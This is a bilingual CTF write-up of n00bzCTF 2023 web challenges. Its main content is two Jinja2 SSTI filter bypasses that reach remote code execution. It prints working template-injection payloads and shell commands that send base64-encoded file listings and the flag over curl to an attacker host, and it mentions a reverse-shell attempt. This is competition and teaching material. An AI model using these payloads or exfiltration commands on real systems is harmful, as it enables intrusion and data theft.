Try   HackMD

n00bzCTF 2023 Writeup Web

Mặc dù đã team đã clear hết mảng, nhưng do mình làm ra muộn nên chỉ đạt top 7 giải này. Sr team rất nhiều
Giải có 2 bài web cuối SSTI khá là hay nên mình quyết định viết wu để cho nhớ

Category Challenge Name Difficulty
Web Club_N00b Easy
Web Robots Easy
Web Secret Group Easy
Web Conditions Easy
Web CaaS Medium
Web CaaS2 Medium

Author: @NoobMaster x @0xBlue

Club_N00b

Mấy bài đầu mình sẽ up payload và lướt qua nhanh, vì là blackbox

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Chú ý ở đây có nhắc tới radical.
Thử sử dụng chức năng Check Status, có một parameter secret_phrase = nope.
Chỉ cần thay thành radical sẽ có flag
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Robots

Ngay tên bài làm mình nghĩ đến ngay file robots.txt

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Chỉ cần thay đổi lại đường dẫn là ok

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Secret Group

Khi truy cập web thì có nhận được agent không phải là n00bz-4dm1n
Mình nghĩ ngay đến bài này sẽ check HTTP header

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Chỉ cần sửa các thành phần trong request gửi lên là có flag

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Conditions

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Chúng ta có một chức năng input username vào, và source code của tác giả cung cấp:

@app.route('/login',methods=['GET','POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        if len(request.values["username"]) >= 40:
            return render_template_string("Username is too long!")
        elif len(request.values["username"].upper()) <= 50:
            return render_template_string("Username is too short!")
        else:
            return flag

Sau khi input username:

  • if đầu tiên check nếu length username >= 40 thì sẽ return "too long"
  • tiếp theo nếu username.upper() <= 50 thì sẽ return "too short"
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

    hmm nếu input string bình thường thì chúng ta không thể pass qua cả 2 điều kiện để có flag. Vì upper() chỉ là hàm in hoa string.
    Sau một hồi tìm hiểu thì mình kiếm được ký tự đặc biệt :v
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

Wow :v vậy là chúng ta chỉ cần input 49 lần ký tự đặc biệt và 49 * 3 > 50. Ok nice
Mình viết script request lên để lấy flag, vì BurpSuite khá là cùi khi xử lý mấy ký tự unicode

import requests

url = "http://challs.n00bzunit3d.xyz:42552/login"

r = requests.post(url, data = {"username" : 'ffi'*39})
print(r.text)

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

CaaS

Source code:

#!/usr/bin/env python3
from flask import Flask, request, render_template, render_template_string, redirect
import subprocess
import urllib

app = Flask(__name__)

def blacklist(inp):
    blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#']
    for b in blacklist:
        if b in inp:
            return "Blacklisted word!"
    if len(inp) <= 70:
        return inp
    if len(inp) > 70:
        return "Input too long!"

@app.route('/')
def main():
    return redirect('/generate')

@app.route('/generate',methods=['GET','POST'])
def generate_certificate():
    if request.method == 'GET':
        return render_template('generate_certificate.html')
    elif request.method == 'POST':
        name = blacklist(request.values['name'])
        teamname = request.values['team_name']
        return render_template_string(f'<p>Haha! No certificate for {name}</p>')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=52130)

Idea:

  • Sau khi nhìn qua source code, mình khá là bất ngờ vì số lượng filter lớn, thêm nữa là giới hạn số ký tự mình đưa vào.

  • Khá là ban căng :v Bạn nào chơi CTF mảng web chắc cũng nhìn ra được đây là một bài khai thác SSTI (Lỗi ở hàm render). Để rõ hơn các bạn có thể tìm hiểu ở đây

  • Nếu bài này chúng ta chỉ copy và đọc payload ở Payloads All The Thing thì khá là stuck.

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

  • Mục tiêu của payload là truy cập đến module 'os' để thực hiện các command.

  • Bởi vì cycler, joiner, lipsum class đều nằm trong blacklist nên ta chỉ có sử dụng được namespace. Nếu sử dụng cách này payload sẽ là như sau:
    {{namespace['__ini''t__']['__global''s__']['o''s']['pop''en']('l\s')['rea''d'](+)}}
    Khoảng 80 - 90 ký tự để thực hiện.
    __init__ bị cấm nên mình dùng ['__ini''t__'] để bypass. Và () trở thành (+)
    Vậy nên mình chuyển hướng qua sử dụng global variables để tìm gadget vào __globals__

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

  • Mình thấy biến global g là ngắn nhất nên quyết định sử dụng nó để build

Exploit

Hình dung thì payload mình sẽ như thế này

name={{g.pop['__global''s__'].__builtins__.eval('__import__("os").popen("id").read()')}}

Khoảng 83 ký tự, và giờ mình sẽ bắt đầu giảm số lượng xuống và để tránh blacklist
Ở trong python thì chúng ta có số một số cách để get giá trị input

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Mình sẽ dùng nó để đưa vào những chỗ có chuỗi string. Đó là lý do vì sao mình lại sử dụng eval. Bên trong nó là một chuỗi string command nên mình tối ưu được rất nhiều

name={{g.pop['__global''s__'].__builtins__.eval(request.form.a)}}

Và parameter a chúng ta sẽ thêm vào trong request :

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

(Ảnh trên là mình test ở local, nới rộng thêm số ký tự input vào để test)

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Cuối cùng RCE trên server để lấy flag. Command chúng ta được lấy từ parameter a nên sử dụng thoải mái, không bị check.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Payload:

name={{g.pop['__global''s__'].__builtins__.eval(request.form.a)}}&a=__import__("os").popen("cat flag.txt").read()&team_name=cc

Source code bài này nếu các bạn muốn tự build làm lại(Đã chỉnh sửa length input):

#!/usr/bin/env python3
from flask import Flask, request, render_template, render_template_string, redirect
import subprocess
import urllib

app = Flask(__name__)

def blacklist(inp):
    blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#']
    for b in blacklist:
        if b in inp:
            return "Blacklisted word!"
    if len(inp) <= 1000:
        return inp
    if len(inp) > 1000:
        return "Input too long!"
    


@app.route('/generate',methods=['GET','POST'])
def generate_certificate():
    if request.method == 'POST':
        name = blacklist(request.values['name'])
        teamname = request.values['team_name']
        return render_template_string(f"""
                <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>cc</title>
        </head>
        <body>
            <p1> {name} </p1>
        </body>
        </html>
        """,name=name)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=52130)

CaaS2

Đây là bài quyết định top 4 cho team, tuy nhiên lúc đó đã là 12h đêm, não mình lúc đấy hơi Nên sáng hôm sau mới làm xong mặc dù đêm đó đã gen được payload đúng. So sad :(

Source code:

#!/usr/bin/env python3
from flask import Flask, request, render_template, render_template_string, redirect
import urllib

app = Flask(__name__)

def blacklist(inp):
    blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#','eval','for','while','f','d','k','h','headers',' ','open','call','subprocesses','g','.t','g.']
    for b in blacklist:
        if b in inp:
            print(b)
            return "Blacklisted word!"
    if len(inp) <= 70:
        return inp
    if len(inp) > 70:
        return "Input too long!"

@app.route('/')
def main():
    return redirect('/generate')

@app.route('/generate',methods=['GET','POST'])
def generate_certificate():
    if request.method == 'GET':
        return render_template('generate_certificate.html')
    elif request.method == 'POST':
        name = blacklist(request.values['name'])
        return render_template_string(f'<p>Haha! No certificate for {name}</p>')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=49064)

Idea

  • Bài này tương tự tuy nhiên filter cực mạnh :v một số ký tự không được cho phép.
  • Ví dụ như g ở payload trước mình vừa sử dụng. Họ đã check ở bài này.
  • Ok tương tự như ở phân tích trên. Chúng ta sẽ đi tìm những biến global để đi trace đến gadget 'os'.

Exploit

POST /generate?a=__globals__&b=__import__("os").system("command inject") HTTP/1.1

name={{session.pop[request.values.a].__builtins__.exec(request.values.b)}}
  • Ở bài này eval dính blacklist nên mình sử dụng exec. Tuy nhiên cần biết một điều là exec sẽ return None

  • Nên có 2 hướng để chúng ta làm: Revereshell hoặc Out of band

  • Mình đã thử nc về máy mình tuy nhiên không thấy phản hồi (Có lẽ cách này tạch).

  • Vậy thì mình sẽ thử curl xem có ổn không.

  • Ok vậy là thành công, mình tính thử ngay với wget để đọc file flag cho nhanh, tuy nhiên cách này lại không có phản hồi. Vì file flag không phải tên là flag.txt nữa.

  • Bây giờ mình cần list ra file để tìm flag, sử dụng thêm base64 để đọc được hết các file khác:

a=__globals__&b=__import__("os").system("curl+http://your-host?cc=`ls | base64 -w0`")

a=__globals__&b=__import__("os").system("curl+http://xkl2yimgp0fy264saz6si2zs7jda1z.oastify.com?cc=`ls|+base64+-w0`") 

Cuối cùng chỉ cần cat file flag là xong.

Payload:

a=__globals__&b=__import__("os").system("curl+http://your-host?cc=`cat+s3cur3_fl4g_f1l3_.txt+|+base64+-w0`")

Write up Version English

Club_N00b

For the first few challs, I will upload the payload and quickly skim through it because it is a blackbox.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Note that radical is mentioned here.
Try using the Check Status function with a parameter called secret_phrase set to nope. Just replace it with radical and you'll get the flag
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Robots

The name of the task immediately makes me think of a file robots.txt

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Just change the path and it's okay.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Secret Group

When accessing the website, you receive an agent that is not n00bz-4dm1n, I immediately think chall will check the HTTP header.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Just modify the components in the sent request and you will get the flag.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Conditions

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

"We have a feature to input username, and the author's provided us with the source code:

@app.route('/login',methods=['GET','POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        if len(request.values["username"]) >= 40:
            return render_template_string("Username is too long!")
        elif len(request.values["username"].upper()) <= 50:
            return render_template_string("Username is too short!")
        else:
            return flag

After inputting the username:

  • The first if statement checks if the length of the username is greater than or equal to 40, then it will return "too long".
  • Next, if username.upper() <= 50, then it will return "too short"."
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

    Hmm, if we input a normal string, we can't pass both conditions to get the flag. Because upper() is just a function to convert the string to uppercase.
    After researching for a while, I found a special character :v
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

Wow :v so we just need to input 49 special characters and 49 * 3 > 50.
Ok, nice.
I'll write a script to send the request and get the flag because BurpSuite is not very good at handling Unicode characters

import requests

url = "http://challs.n00bzunit3d.xyz:42552/login"

r = requests.post(url, data = {"username" : 'ffi'*39})
print(r.text)

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

CaaS

Source code:

#!/usr/bin/env python3
from flask import Flask, request, render_template, render_template_string, redirect
import subprocess
import urllib

app = Flask(__name__)

def blacklist(inp):
    blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#']
    for b in blacklist:
        if b in inp:
            return "Blacklisted word!"
    if len(inp) <= 70:
        return inp
    if len(inp) > 70:
        return "Input too long!"

@app.route('/')
def main():
    return redirect('/generate')

@app.route('/generate',methods=['GET','POST'])
def generate_certificate():
    if request.method == 'GET':
        return render_template('generate_certificate.html')
    elif request.method == 'POST':
        name = blacklist(request.values['name'])
        teamname = request.values['team_name']
        return render_template_string(f'<p>Haha! No certificate for {name}</p>')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=52130)

Idea:

  • After looking through the source code, I was quite surprised by the large number of filters and the limit on the number of characters I could input.

  • It's quite challenging :v If you play web CTFs, you can probably see that this is an SSTI exploit (the vulnerability is in the render function). To learn more, you can check it out here

  • If we only copy and read the payloads in Payloads All The Things for this task, we will be stuck

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

  • The goal of the payload is to access the 'os' module to execute commands.

  • Because cycler, joiner, and lipsum class are all in the blacklist, we can only use the namespace. If we use this method, the payload will be like this:
    {{namespace['__ini''t__']['__global''s__']['o''s']['pop''en']('l\s')['rea''d'](+)}}
    Around 80-90 characters to execute.
    __init__ banned so I'm using ['__ini''t__'] to bypass. And () trở become (+)
    So I switched to using global variables To find gadgets in __globals__

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

  • I found that the global variable g is the shortest, so I decided to use it to build.

Exploit

You imagine that my payload will look like this

name={{g.pop['__global''s__'].__builtins__.eval('__import__("os").popen("id").read()')}}

About 83 characters, and now I'll start reducing the number to avoid the blacklist.
In Python, we have several ways to get the input value.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

I will use it to insert values into string variables. That's why I used eval. Inside it is a string command, so I can optimize a lot

name={{g.pop['__global''s__'].__builtins__.eval(request.form.a)}}

And we will add the parameter a to the request. :

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

(The image above is my local test, expanding the number of characters input for testing)

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Finally, we can RCE on the server to get the flag. We can use commands from the a parameter without being checked.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Payload:

name={{g.pop['__global''s__'].__builtins__.eval(request.form.a)}}&a=__import__("os").popen("cat flag.txt").read()&team_name=cc

Here's the source code for this task if you want to rebuild it(I've adjusted the input length):

#!/usr/bin/env python3
from flask import Flask, request, render_template, render_template_string, redirect
import subprocess
import urllib

app = Flask(__name__)

def blacklist(inp):
    blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#']
    for b in blacklist:
        if b in inp:
            return "Blacklisted word!"
    if len(inp) <= 1000:
        return inp
    if len(inp) > 1000:
        return "Input too long!"
    


@app.route('/generate',methods=['GET','POST'])
def generate_certificate():
    if request.method == 'POST':
        name = blacklist(request.values['name'])
        teamname = request.values['team_name']
        return render_template_string(f"""
                <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>cc</title>
        </head>
        <body>
            <p1> {name} </p1>
        </body>
        </html>
        """,name=name)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=52130)

CaaS2

Source code:

#!/usr/bin/env python3
from flask import Flask, request, render_template, render_template_string, redirect
import urllib

app = Flask(__name__)

def blacklist(inp):
    blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#','eval','for','while','f','d','k','h','headers',' ','open','call','subprocesses','g','.t','g.']
    for b in blacklist:
        if b in inp:
            print(b)
            return "Blacklisted word!"
    if len(inp) <= 70:
        return inp
    if len(inp) > 70:
        return "Input too long!"

@app.route('/')
def main():
    return redirect('/generate')

@app.route('/generate',methods=['GET','POST'])
def generate_certificate():
    if request.method == 'GET':
        return render_template('generate_certificate.html')
    elif request.method == 'POST':
        name = blacklist(request.values['name'])
        return render_template_string(f'<p>Haha! No certificate for {name}</p>')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=49064)

Idea

  • This chall is similar, but the filter is very strong :v. Some characters are not allowed, for example, g which I used in the previous payload. They checked it in this chall.
    0 Okay, as before, we will look for global variables to trace to the 'os' gadget.

Exploit

POST /generate?a=__globals__&b=__import__("os").system("command inject") HTTP/1.1

name={{session.pop[request.values.a].__builtins__.exec(request.values.b)}}
  • eval is blacklisted so I will use exec. However, one thing to keep in mind is that exec will return None

  • So there are two ways we can do this: Reverse Shell or Out-of-band.

  • I tried to use netcat to send it back to my machine, but didn't get a response (maybe this method failed).

  • So i will try curl command

  • Okay, so it was successful. I wanted to try using wget to quickly read the flag file, but this method didn't work. It could be because the flag file is not named flag.txt anymore.

  • Now I need to list the files to find the flag, and I'll also use base64 to read all the other files:

a=__globals__&b=__import__("os").system("curl+http://your-host?cc=`ls | base64 -w0`")

a=__globals__&b=__import__("os").system("curl+http://xkl2yimgp0fy264saz6si2zs7jda1z.oastify.com?cc=`ls|+base64+-w0`") 

Finally, just cat the flag file and we're done.

Payload:

a=__globals__&b=__import__("os").system("curl+http://your-host?cc=`cat+s3cur3_fl4g_f1l3_.txt+|+base64+-w0`")

Thanks

Thank you to the author for bringing us such great challenges. We hope that next year will be just as amazing.